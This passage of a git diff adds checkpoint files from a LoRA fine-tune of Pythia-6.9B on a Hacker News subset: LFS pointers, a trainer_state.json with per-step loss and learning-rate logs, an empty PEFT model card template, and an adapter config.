a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..6f069e8ad5743a7071d53989d6edf25a382b7133 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d33603c9602f50d32bd619f686fa4097b405a474d15f526ce09de1176943edee +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..0a8647962b8dc4b99c0e76e74138e1fd876dbfc3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json @@ -0,0 +1,1038 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 9.0, + "eval_steps": 10, + "global_step": 675, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 4.028053283691406, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5562, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 3.0449891090393066, + "eval_runtime": 43.7929, + "eval_samples_per_second": 22.835, + "eval_steps_per_second": 2.854, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.9524431228637695, + "learning_rate": 2.962962962962963e-06, + "loss": 1.6302, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 3.04494047164917, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9773013591766357, + "learning_rate": 1.777777777777778e-06, + "loss": 1.6163, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 3.045328140258789, + "eval_runtime": 43.8177, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 660 + }, + { + "epoch": 8.933333333333334, + "grad_norm": 3.6179540157318115, + "learning_rate": 5.925925925925927e-07, + "loss": 1.6073, + "step": 670 + }, + { + "epoch": 8.933333333333334, + "eval_loss": 3.0459864139556885, + "eval_runtime": 43.8134, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 670 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": true + }, + "attributes": {} + } + }, + "total_flos": 1.10605985906688e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git 